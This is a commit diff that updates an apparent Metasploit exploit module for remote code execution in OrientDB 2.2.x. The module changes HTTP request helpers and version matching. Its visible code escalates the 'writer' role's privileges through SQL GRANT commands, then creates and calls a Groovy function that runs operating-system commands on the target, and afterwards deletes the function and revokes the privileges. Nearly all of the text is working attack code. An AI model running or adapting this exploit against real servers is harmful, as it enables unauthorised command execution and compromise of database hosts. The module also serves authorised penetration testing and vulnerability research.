@@ -14,7 +14,7 @@ def initialize(info = {})
14
14
'Name' => 'OrientDB 2.2.x Remote Code Execution' ,
15
15
'Description' => %q{
16
16
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
17
- All versions from 2.2.1 up to 2.2.22 should be vulnerable.
17
+ All versions from 2.2.2 up to 2.2.22 should be vulnerable.
18
18
} ,
19
19
'Author' =>
20
20
[
@@ -51,9 +51,8 @@ def initialize(info = {})
51
51
def check
52
52
uri = target_uri
53
53
uri . path = normalize_uri ( uri . path )
54
- uri . path << "/" if uri . path [ -1 , 1 ] != "/"
55
- res = send_request_raw ( { 'uri' => "#{ uri . path } listDatabases" } )
56
- if res and res . code == 200 and res . headers [ 'Server' ] =~ /OrientDB Server v\. 2\. 2\. /
54
+ res = send_request_cgi ( { 'uri' => "#{ uri . path } listDatabases" } )
55
+ if res and res . code == 200 and res . headers [ 'Server' ] =~ /OrientDB Server v\. 2\. 2\. [2-9]|1[0-9]|2[0-2]/
57
56
print_good ( "Version: #{ res . headers [ 'Server' ] } " )
58
57
return Exploit ::CheckCode ::Vulnerable
59
58
else
@@ -68,11 +67,12 @@ def http_send_command(cmd, opts = {})
68
67
request_parameters = {
69
68
'method' => 'POST' ,
70
69
'uri' => normalize_uri ( @uri . path , "/document/#{ opts } /-1:-1" ) ,
70
+ 'encode_params' => false ,
71
71
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
72
72
'headers' => { 'Accept' => '*/*' , 'Content-Type' => 'application/json;charset=UTF-8' } ,
73
73
'data' => "{\" @class\" :\" ofunction\" ,\" @version\" :0,\" @rid\" :\" #-1:-1\" ,\" idempotent\" :null,\" name\" :\" #{ func_name } \" ,\" language\" :\" groovy\" ,\" code\" :\" #{ java_craft_runtime_exec ( cmd ) } \" ,\" parameters\" :null}"
74
74
}
75
- res = send_request_raw ( request_parameters )
75
+ res = send_request_cgi ( request_parameters )
76
76
if not ( res and res . code == 201 )
77
77
begin
78
78
json_body = JSON . parse ( res . body )
@@ -85,11 +85,12 @@ def http_send_command(cmd, opts = {})
85
85
request_parameters = {
86
86
'method' => 'POST' ,
87
87
'uri' => normalize_uri ( @uri . path , "/function/#{ opts } /#{ func_name } " ) ,
88
+ 'encode_params' => false ,
88
89
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
89
90
'headers' => { 'Accept' => '*/*' , 'Content-Type' => 'application/json;charset=UTF-8' } ,
90
91
'data' => ""
91
92
}
92
- req = send_request_raw ( request_parameters )
93
+ req = send_request_cgi ( request_parameters )
93
94
if not ( req and req . code == 200 )
94
95
begin
95
96
json_body = JSON . parse ( res . body )
@@ -112,11 +113,12 @@ def http_send_command(cmd, opts = {})
112
113
request_parameters = {
113
114
'method' => 'DELETE' ,
114
115
'uri' => normalize_uri ( @uri . path , "/document/#{ opts } /#{ func_id } " ) ,
116
+ 'encode_params' => false ,
115
117
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
116
118
'headers' => { 'Accept' => '*/*' } ,
117
119
'data' => ""
118
120
}
119
- rer = send_request_raw ( request_parameters )
121
+ rer = send_request_cgi ( request_parameters )
120
122
if not ( rer and rer . code == 204 )
121
123
begin
122
124
json_body = JSON . parse ( res . body )
@@ -157,8 +159,7 @@ def execute_command(cmd, opts = {})
157
159
vprint_status ( "Attempting to execute: #{ cmd } " )
158
160
@uri = target_uri
159
161
@uri . path = normalize_uri ( @uri . path )
160
- @uri . path << "/" if @uri . path [ -1 , 1 ] != "/"
161
- res = send_request_raw ( { 'uri' => "#{ @uri . path } listDatabases" } )
162
+ res = send_request_cgi ( { 'uri' => "#{ @uri . path } listDatabases" } )
162
163
if res && res . code == 200 && res . body . length > 0
163
164
begin
164
165
json_body = JSON . parse ( res . body ) [ "databases" ]
@@ -198,8 +199,7 @@ def linux_stager
198
199
def exploit
199
200
@uri = target_uri
200
201
@uri . path = normalize_uri ( @uri . path )
201
- @uri . path << "/" if @uri . path [ -1 , 1 ] != "/"
202
- res = send_request_raw ( { 'uri' => "#{ @uri . path } listDatabases" } )
202
+ res = send_request_cgi ( { 'uri' => "#{ @uri . path } listDatabases" } )
203
203
if res && res . code == 200 && res . body . length > 0
204
204
begin
205
205
json_body = JSON . parse ( res . body ) [ "databases" ]
@@ -219,12 +219,14 @@ def exploit
219
219
items . each do |item |
220
220
request_parameters = {
221
221
'method' => 'POST' ,
222
- 'uri' => normalize_uri ( @uri . path , "/command/#{ targetdb } /sql/-/20?format=rid,type,version,class,graph" ) ,
222
+ 'uri' => normalize_uri ( @uri . path , "/command/#{ targetdb } /sql/-/20" ) ,
223
+ 'vars_get' => { 'format' => 'rid,type,version,class,graph' } ,
224
+ 'encode_params' => false ,
223
225
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
224
226
'headers' => { 'Accept' => '*/*' } ,
225
227
'data' => "GRANT #{ priv } ON #{ item } TO writer"
226
228
}
227
- res = send_request_raw ( request_parameters )
229
+ res = send_request_cgi ( request_parameters )
228
230
end
229
231
end
230
232
# Exploit
@@ -245,12 +247,14 @@ def exploit
245
247
items . each do |item |
246
248
request_parameters = {
247
249
'method' => 'POST' ,
248
- 'uri' => normalize_uri ( @uri . path , "/command/#{ targetdb } /sql/-/20?format=rid,type,version,class,graph" ) ,
250
+ 'uri' => normalize_uri ( @uri . path , "/command/#{ targetdb } /sql/-/20" ) ,
251
+ 'vars_get' => { 'format' => 'rid,type,version,class,graph' } ,
252
+ 'encode_params' => false ,
249
253
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
250
254
'headers' => { 'Accept' => '*/*' } ,
251
255
'data' => "REVOKE #{ priv } ON #{ item } FROM writer"
252
256
}
253
- res = send_request_raw ( request_parameters )
257
+ res = send_request_cgi ( request_parameters )
254
258
end
255
259
end
256
260
end
0 commit comments